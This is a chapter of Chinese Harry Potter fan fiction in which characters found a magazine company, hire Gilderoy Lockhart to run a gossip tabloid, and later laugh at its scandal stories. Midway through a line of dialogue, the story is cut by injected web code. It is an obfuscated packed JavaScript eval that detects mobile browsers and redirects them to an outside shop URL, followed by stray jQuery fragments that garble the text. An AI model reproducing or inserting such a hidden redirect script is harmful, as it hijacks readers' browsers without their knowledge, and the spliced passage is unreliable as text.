“哈罗德·明彻姆没有连任成功。”早晨，德达洛阅读着第一版报纸，对他们说。


    “我们能看到。”爱米琳把一勺麦片粥送进嘴里，她的头发已经留得和过去一样长，“就印在头版。”


    “谁是新部长？”卡拉多克漫不经心地问。


    “米里森·巴格诺。”德达洛往下看去，回答道，“怎么了？”


    “我赢得了一加隆。”卡莉娜高兴地说，给雷古勒斯发消息。


    “克劳奇没能打败巴格诺？”爱米琳好奇地问，“我还以为他呼声很高。”


    “但大部分巫师都有些厌倦明彻姆了。”德达洛把报纸翻过一页，“想想他说的话，想想他干的事——他根本没法阻挡黑魔头——他就连龙痘疮也处理不好！而克劳奇——他太明彻姆。”


    卡拉多克关心地看了卡莉娜一眼。


    卡莉娜对他摇摇头。


    “等等，这是什么——”爱米琳眼尖地扒拉到第二版，“他们怎么会把这个印在第二版？”


    “食死徒落网！”德达洛读到，“阿拉斯托·穆迪的再一次胜利！”


    “他填满了一半阿兹卡班。”爱米琳感慨道，“是谁？”


    “伊戈尔·卡卡洛夫和安东宁·多洛霍夫。”卡莉娜先于德达洛回答道，“昨天晚上马琳给我发的消息——整个傲罗办公室一片沸腾。”


    “他们应得的。”爱米琳高兴地说，“追踪了他们整整六个月。”


    “击毙罗齐尔和威尔克斯。”德达洛激动地说，“终于——就是罗齐尔给了你这道伤疤，爱米琳——真是恶有恶报。”


    爱米琳的眼睛里跃动着光芒。


    “我们晚上可以开那瓶二十加隆的威士忌吗？”她问，“来吧——这个时刻值得一瓶好酒！”


    “当然。”卡莉娜也忍不住因为她的笑容而微笑起来，“我们可以办一个庆祝宴会……我想每个人都需要。”


    “多卡斯他们今天晚上能来吗？”德达洛忍不住问，“要逮到他们的休息时间真不容易。”


    “不能。”卡莉娜回答道，“他们告诉我今晚还有任务——有线人发现了诺特的位置，傲罗们要连夜出发。”


    她和卡拉多克交换了一个目光。


    “这对巴格诺是个好消息。”卡拉多克把报纸拿过来，仔细打量第二版的配图，“双喜临门——有助于她巩固自己的位置。”


    “但要给明彻姆留些脸面。”卡莉娜无谓地说，“《预言家日报》在这方面有许多巧思。”


    爱米琳和德达洛忍不住发出笑声。


    “说起《预言家日报》……”卡莉娜若有所思地说，“我突然有了一个好主意。”


    “什么？”德达洛好奇地问。


    “丽塔·斯基特不是很喜欢编排别人的故事吗？”卡莉娜眯起眼睛，“我要让她知道什么才是真正的编排故事。”


    卡拉多克被她迅速从餐桌边拽走，脸上混合着疑惑不解和恍然大悟两种表情。


    “这恐怕是一个可怕的主意。”爱米琳对德达洛说。


    “可不是吗？”德达洛把卡拉多克落下的报纸捡起来，“我毫不怀疑。”


    ————


    “我就知道！”吉德罗·洛哈特穿着丁香色的袍子走进对角巷59号的后门（卡莉娜在去年收购了旁边的店面），“总会有人赏识我的才华！”


    卡莉娜、卡拉多克和伊莎贝拉坐成一排，玛丽和另一位可爱的姑娘拉着好长一张脸坐在旁边。


    “金羊毛炼金公司，不是吗？”洛哈特大步走向前，“我听说过你们的名气——”


    “停。”伊莎贝拉无情地说，“不要和我握手，我过敏——坐在那儿。”


    吉德罗·洛哈特坐在他们仨对面的一张扶手椅上，带着清澈而洋洋得意的表情。


    “你知道我们为什么找你来吗？”卡莉娜和颜悦色地问。


    “因为我的名气。”洛哈特昂起头，“还有我的才华。”


    “某种意义上。”卡拉多克严谨地修正到，“但不完全正确。”


    “我们需要你办一份全新的杂志。”卡莉娜说，“它不隶属于金羊毛的宣传部，而属于公司投资的一家传媒公司——你能明白吗？”


    “就是说我能全权负责一家公司？”洛哈特激动地说，“我什么时候开始工作？”


    “不，不，不。”卡莉娜和蔼地说，“这家公司的负责人是海丝佳·琼斯和玛丽·麦克唐纳。”


    “谁？”洛哈特露出疑惑的表情。


    “来，坐到我们旁边。”卡莉娜挥动魔杖，旁边多了两张扶手椅，“给你介绍一下，海丝佳·琼斯目前将负责审核全部报纸、杂志的文字内容，而玛丽·麦克唐纳将负责其中刊登的所有图片内容。”


    “那我负责什么？”洛哈特急迫地问，“你们邀请我来，总要用到我的脸吧？”


    “哦，不。”卡莉娜温和地说，“我们的设计不是这样……海丝佳，和他解释一下。”


    海丝佳板着一张脸，把一张打着表格的羊皮纸递给洛哈特。


    “你要入职的是金羊毛旗下的阿尔戈传媒公司。”她对着自己手里的表格说到，“我们预计要出版四本刊物。《秘银年鉴》将收录全部学术领域的最新论文，与《今日变形术》、《实用魔药大师》等学术期刊通力合作——虽然叫做年鉴，但这是一本季刊，由卡拉多克·迪尔伯恩先生进行审核。”


    洛哈特看起来很努力地在记忆一些内容。


    “第二本刊物，”海丝佳抬头看了洛哈特一眼，“《锅底巷》将聚焦于休闲与娱乐生活，主要刊登各类体育赛事、旅游攻略、园艺指南以及最新时尚，搭配情感专栏——半月刊，目前将由伊莎贝拉·帕金森女士和玛丽·麦克唐纳女士共同负责。”


    洛哈特的精神看起来稍微振作了一些。


    “第三本刊物，”海丝佳把羊皮纸翻了个面，“《巫师政商观察》包含时政和经济两方面内容，追踪报道巫师界的相关新闻，每个月附加一篇深度专访——周刊，由我负责——我们不会对你进行采访，洛哈特。”


    洛哈特看起来有些失望。


    “最后一本刊物，”海丝佳带着一种奇异的语调说到，“《窥镜晚报》，花边新闻、小道消息、预言解析……日刊，吉德罗·洛哈特先生，这本刊物属于你。”


    洛哈特微微张着嘴，看起来惊呆了。


    “我们建议你在这本刊物上匿名。”玛丽很贴心地说，“但你可以在《锅底巷》的情感专栏上实名出现。”


    洛哈特的魂魄看起来回来了一些。


    “怎么样？”卡莉娜说，“我认为这是一个很好的机会，洛哈特先生。想想看，情感专家吉德罗·洛哈特，万千巫师的知心伙伴——”


    “我答应，我答应！”洛哈特好像被冲昏了头脑，脱口而出，“但我要求我的脸被印在情感专栏上！”


    “放心。”玛丽咬牙切齿地说，“我们会搭配你最新的个人照片。”


    “成交！”洛哈特大喊到。


    “那么，这里就是你们的工作地点。”卡莉娜愉快地说，“卡拉多克已经配备好所有的印刷设备……最新的摄像机也都送到你的位置上了，玛丽。”


    洛哈特上上下下、左左右右地打量着这个开放空间——它被划分成五个区域，四个分属不同刊物的区域围绕着最中心的几张桌子。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783416|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    属于你了，洛哈特先生。”卡莉娜点了点其中一张桌子，上面摆放着“窥镜晚报”的牌子。


    洛哈特激动地扑向自己的凳子，而海丝佳带着怀疑在卡莉娜边上站着。


    “审核他的报纸。”卡莉娜低声对她说，“直到让他明白什么是能写的，什么是不能写的。拿不准的发给我。”


    海丝佳可爱的脸上露出笑容。


    “他等着吧！”海丝佳说，“但奇怪的是，我有种预感……他会在这个职位上干得不错。”


    “谁知道呢？”卡莉娜耸耸肩，“我认为这将是一次奇妙的尝试。”


    “风险对冲。”卡拉多克说，“我认为这是一个适合的名字。”


    “你们会非常忙。”卡莉娜对伊莎贝拉说，“准备好新的挑战了吗，伊莎贝拉？”


    “放心。”伊莎贝拉脸上带着必胜的信心，“他们会见识到什么叫做真正的报纸。”


    ————


    几周后的晚上，卡莉娜、卡拉多克和爱米琳、德达洛和平常一样围坐在一起吃晚饭。


    德达洛手里拿着一份只有普通报纸一半大的小报，它的标题使用极具辨识度的粉色和紫色，不时会闪烁、变色。


    “震惊！”他阅读最上面的标题，“《预言家日报》著名女记者与魔法部交通部司长甜蜜约会，粉色恋情大公开！”


    “谁？”爱米琳举着叉子，震惊地问，“谁？”


    “丽塔·斯基特和康奈利·福吉！”德达洛往下扫视，“近日，两人常常公开出入高级餐厅，举止高调，或将有订婚消息……”


    “什么？”爱米琳把报纸从德达洛手中抽出来，“据悉，这是一段曲折的恋情……康奈利·福吉曾与魔法部另一职员多洛雷斯·乌姆里奇关系紧密，但丽塔·斯基特横刀夺爱……”


    卡拉多克忍不住对自己面前的馅饼笑出了声。


    卡莉娜用两只手捂住自己的脸，希望自己的笑容别太明显。


    整个餐厅里抽气的声音此起彼伏。


    “太有才了！”德达洛笑得肩膀颤抖，“谁写的这篇文章？”


    “佩里格林·帕拉多尔爵士。”爱米琳翻到笔者的名字，一个一个字地读出来，“好浮夸的风格……”


    爱米琳的目光慢慢转向卡莉娜和卡拉多克。


    “梅林啊！”她一双眼睛瞪得极大，“不要告诉我……吉德罗·洛哈特？你们是认真的吗？吉德罗·洛哈特？”


    卡拉多克点了点头。


    “吉德罗·洛哈特！”爱米琳又瞪着手里的小报，翻过几页，脸上的表情突然转向沉思，“吉德罗·洛哈特……”


    “正式发行一周。”卡莉娜愉快地说，“销量遥遥领先。”


    “我毫不怀疑。”德达洛抽出另一份小报，“他在这方面真是个天才……”


    “这是什么栏目？”爱米琳翻到最后一页，“为什么字这么小？”


    卡莉娜递给她一个放大镜。


    借着放大镜，爱米琳勉强地辨认着这些小字。


    “澄清与道歉。”她读到，“我们对前日报道的，有关于《预言家日报》主编古费先生的绯闻做出以下几点澄清……”


    爱米琳凑近放大镜。


    “第一，古费先生与艾克莫夫人之间并无夫妻关系；”她停顿了一下，“第二，他们的会面是出于纯粹有益于巫师界发展的目的；第三，他们的会面是在他们合法配偶的允许下进行的；第四，我们为自己的肆意揣测感到抱歉，但仍然不能排除古费先生与艾克莫夫人之间存在不正当利益关系的可能……鉴于他们仅仅否认了不正当关系，而没有否认利益关系……”


    整个餐厅里爆发出可怕的笑声。